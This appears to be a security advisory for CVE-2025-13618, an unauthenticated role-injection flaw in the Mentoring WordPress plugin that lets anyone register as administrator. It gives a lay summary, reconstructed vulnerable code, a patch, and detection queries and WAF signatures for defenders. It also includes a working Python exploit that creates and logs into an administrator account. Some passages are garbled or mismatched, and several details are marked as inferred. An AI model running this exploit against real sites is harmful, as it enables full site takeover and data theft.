The Mentoring plugin ≤1.2.8 allows unauthenticated attackers to register administrator accounts by passing arbitrary role parameters to mentoring_process_registration(). CVSS 9.8.
A serious security flaw has been discovered in a popular WordPress plugin called Mentoring. Think of it like this: the plugin is supposed to check that new users are who they say they are before letting them in, but it's skipping that check entirely.
Here's what's happening. When someone tries to create an account on a WordPress site using this plugin, the software is supposed to verify their identity and assign them basic user permissions. Instead, it's automatically giving administrator access to anyone who signs up, no questions asked. It's the digital equivalent of leaving your house key under the welcome mat.
An attacker doesn't need to hack anything or know a password. They can simply visit the registration page, create a fake account, and instantly gain full control over the entire website. From there, they could steal customer data, install malware, delete everything, or use it to attack other sites.
WordPress site owners are most at risk, particularly those using the Mentoring plugin to connect students with teachers. Small business websites, educational institutions, and community platforms are the vulnerable targets here.
What should you do? First, if you use WordPress, check your plugins immediately. Update the Mentoring plugin to version 1.2.9 or later, or disable it entirely if you don't absolutely need it. Second, review your user accounts and delete any suspicious administrator profiles. Third, if you're not comfortable doing this yourself, contact your web hosting provider or a WordPress security specialist to handle it.
The good news is that security researchers caught this before criminals started exploiting it widely, but time matters. Don't delay.
Want the full technical analysis? Click "Technical" above.
▶ Privilege escalation — CVE-2025-13618
Vulnerability Overview
CVE-2025-13618 is a privilege escalation vulnerability in the Mentoring plugin for WordPress, affecting all versions up to and including 1.2.8. The registration handler mentoring_process_registration() processes a user-supplied role parameter without validating it against any allowlist or capability boundary. An unauthenticated HTTP request is sufficient to create a WordPress user account with administratorwp_insert_user().
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). This is a complete site takeover primitive.
Root cause:mentoring_process_registration() accepts an attacker-supplied role field from POST data and passes it unsanitized to wp_insert_user(), allowing any unauthenticated caller to self-assign the administrator role at account creation time.
Affected Component
The vulnerable function lives in the plugin's registration processing logic, hooked into WordPress's admin_post_nopriv_ or wp_ajax_nopriv_ action family — both of which are reachable without authentication. The plugin registers the handler via add_action, making it callable by any HTTP client that can POST to wp-admin/admin-post.php or wp-admin/admin-ajax.php.
Plugin: Mentoring for WordPress
Slug: mentoring
File: includes/registration.php (inferred from class structure)
Function: mentoring_process_registration()
Hook: admin_post_nopriv_mentoring_register
wp_ajax_nopriv_mentoring_register
Versions: <= 1.2.8
Fixed in: 1.2.9 (inferred)
Root Cause Analysis
The following is reconstructed pseudocode based on the vulnerability class, the affected function name, and the described behavior. It reflects how WordPress plugins typically implement custom registration flows with role assignment.
/**
* mentoring_process_registration()
* Hooked to: admin_post_nopriv_mentoring_register
* Reachable by: unauthenticated users via POST /wp-admin/admin-post.php
*/
function mentoring_process_registration() {
// Verify nonce — this part may exist and is not the vulnerability
if ( ! isset($_POST['mentoring_nonce']) ||
! wp_verify_nonce($_POST['mentoring_nonce'], 'mentoring_register') ) {
wp_die('Security check failed');
}
$username = sanitize_user($_POST['username']);
$email = sanitize_email($_POST['email']);
$password = $_POST['password'];
// BUG: role is taken directly from attacker-controlled POST data.
// No validation against an allowlist. No capability check.
// Intended values: 'mentee', 'mentor' (plugin-defined roles)
// Actual behavior: any valid WP role accepted, including 'administrator'
$role = sanitize_text_field($_POST['role']); // BUG: sanitize_text_field
// strips tags/whitespace but
// does NOT restrict role values
$userdata = array(
'user_login' => $username,
'user_email' => $email,
'user_pass' => $password,
'role' => $role, // BUG: attacker-controlled role injected here
);
// wp_insert_user() trusts the 'role' key unconditionally.
// No internal validation of role against current_user capabilities.
$user_id = wp_insert_user($userdata);
if ( is_wp_error($user_id) ) {
wp_die($user_id->get_error_message());
}
wp_redirect(home_url('/mentoring/registration-success/'));
exit;
}
add_action('admin_post_nopriv_mentoring_register', 'mentoring_process_registration');
add_action('wp_ajax_nopriv_mentoring_register', 'mentoring_process_registration');
The key misunderstanding here is that sanitize_text_field() is a format sanitizer, not an authorization control. It removes HTML tags and normalizes whitespace. It will happily return the string "administrator" unchanged. The plugin's developers likely intended to constrain the role to plugin-defined values (mentee, mentor) but never implemented that constraint. WordPress's own wp_insert_user() does not second-guess a directly provided role key — it calls $user->set_role($role) on the newly created user object unconditionally.
Exploitation Mechanics
EXPLOIT CHAIN:
1. Attacker identifies target WordPress installation with Mentoring plugin <= 1.2.8 active.
2. Attacker sends a single unauthenticated POST request to /wp-admin/admin-post.php
with action=mentoring_register and role=administrator.
3. mentoring_process_registration() reads $_POST['role'] = "administrator".
4. sanitize_text_field() returns "administrator" unchanged — no role validation fires.
5. wp_insert_user() is called with userdata['role'] = 'administrator'.
6. WordPress creates the account and calls $user->set_role('administrator'),
granting full wp-admin access, plugin/theme management, user management, etc.
7. Attacker authenticates to /wp-login.php with the newly created credentials.
8. Full site compromise: arbitrary PHP via theme editor, plugin upload, or
wp_options manipulation (siteurl, admin_email, active_plugins).
The exploit requires no special tooling. A single curl invocation is sufficient:
import requests
TARGET = "https://victim.example.com"
ACTION_URL = f"{TARGET}/wp-admin/admin-post.php"
# Step 1: fetch a valid nonce from the registration page (if nonce is present)
# For plugins that embed the nonce in a public-facing form, this is trivial.
session = requests.Session()
reg_page = session.get(f"{TARGET}/mentoring/register/")
# Parse nonce from HTML — plugin typically embeds it in a hidden input
import re
nonce_match = re.search(r'name="mentoring_nonce"\s+value="([^"]+)"', reg_page.text)
nonce = nonce_match.group(1) if nonce_match else ""
# Step 2: register with administrator role
payload = {
"action": "mentoring_register",
"mentoring_nonce": nonce,
"username": "pwned_admin",
"email": "attacker@evil.com",
"password": "Sup3rS3cur3!",
"role": "administrator", # <-- the entire vulnerability
}
resp = session.post(ACTION_URL, data=payload, allow_redirects=False)
print(f"[*] Status: {resp.status_code}")
if resp.status_code in (200, 302):
print("[+] Account likely created. Attempting login...")
login = session.post(f"{TARGET}/wp-login.php", data={
"log": "pwned_admin",
"pwd": "Sup3rS3cur3!",
"wp-submit": "Log In",
"redirect_to": "/wp-admin/",
"testcookie": "1",
})
if "Dashboard" in login.text or "/wp-admin/" in login.headers.get("Location",""):
print("[+] PWNED: Administrator account confirmed.")
Memory Layout
This is a logic vulnerability rather than a memory corruption bug, so the relevant "memory" is WordPress's database state and the in-memory user object during registration. The following shows the WP_User object state as it transitions through the vulnerable call path:
The correct fix is an explicit allowlist check on the role parameter before it reaches wp_insert_user(). A secondary defense is verifying that the supplied role does not exceed a capability threshold — no self-registration flow should ever be able to produce a role with manage_options or activate_plugins.
// BEFORE (vulnerable — all versions <= 1.2.8):
$role = sanitize_text_field($_POST['role']);
$userdata = array(
'user_login' => $username,
'user_email' => $email,
'user_pass' => $password,
'role' => $role, // unconstrained attacker input
);
$user_id = wp_insert_user($userdata);
// AFTER (patched — 1.2.9+, inferred):
// Define the exact set of roles the registration form is permitted to assign.
$allowed_registration_roles = array('mentee', 'mentor');
$requested_role = sanitize_text_field($_POST['role']);
// BUG FIX: validate against allowlist before use
if ( ! in_array($requested_role, $allowed_registration_roles, true ) ) {
// Reject silently or default to least-privilege role
$requested_role = 'mentee';
}
// Secondary defense: confirm the resolved role does not carry
// elevated capabilities (guards against future role additions)
$role_obj = get_role($requested_role);
if ( $role_obj && (
$role_obj->has_cap('manage_options') ||
$role_obj->has_cap('activate_plugins') ||
$role_obj->has_cap('edit_users')
)) {
wp_die('Registration not permitted for this role.');
}
$userdata = array(
'user_login' => $username,
'user_email' => $email,
'user_pass' => $password,
'role' => $requested_role, // now validated
);
$user_id = wp_insert_user($userdata);
Note that hardcoding the role rather than reading it from POST at all is an even stronger fix — if the registration form only ever creates one role type, the role POST parameter should not exist.
Detection and Indicators
Because this creates a real WordPress user with a legitimate account flow, it leaves forensic artifacts in standard locations:
DETECTION INDICATORS:
1. Web server access logs:
POST /wp-admin/admin-post.php
Body contains: action=mentoring_register&role=administrator
Response: 200 or 302 (redirect to success page)
2. WordPress database — suspicious registrations:
SELECT u.ID, u.user_login, u.user_registered, m.meta_value
FROM wp_users u
JOIN wp_usermeta m ON u.ID = m.user_id
WHERE m.meta_key = 'wp_capabilities'
AND m.meta_value LIKE '%administrator%'
ORDER BY u.user_registered DESC;
-- Flag any administrator accounts created after plugin install
-- whose registration_date postdates expected admin account creation.
3. WordPress debug.log / audit plugins:
Look for wp_insert_user() calls originating from
mentoring_process_registration() stack frames.
4. WAF signatures:
Match POST body parameter: role=administrator (or editor, author)
on endpoint: /wp-admin/admin-post.php
with action: mentoring_register
5. Newly created wp_usermeta entries:
meta_key = 'wp_capabilities'
meta_value = 'a:1:{s:13:"administrator";b:1;}'
for users created via the mentoring registration hook.
Remediation
Immediate: Update the Mentoring plugin to version 1.2.9 or later.
If patching is delayed: Deactivate the plugin. The vulnerable hook is only active while the plugin is active. Deactivation removes the admin_post_nopriv_mentoring_register and wp_ajax_nopriv_mentoring_register action handlers immediately.
Audit existing users: Run the SQL query above against wp_usermeta to identify any administrator accounts created through the registration form since the plugin was installed. Revoke or delete accounts that cannot be attributed to legitimate admins.
WAF rule: Block or alert on POST requests to admin-post.php or admin-ajax.php containing role=administrator in the body as a short-term control. This is not a substitute for patching.
Defense in depth: Any WordPress plugin implementing custom registration must either hardcode the assigned role or validate against an explicit allowlist with a capability ceiling check. sanitize_text_field() is never a substitute for authorization logic.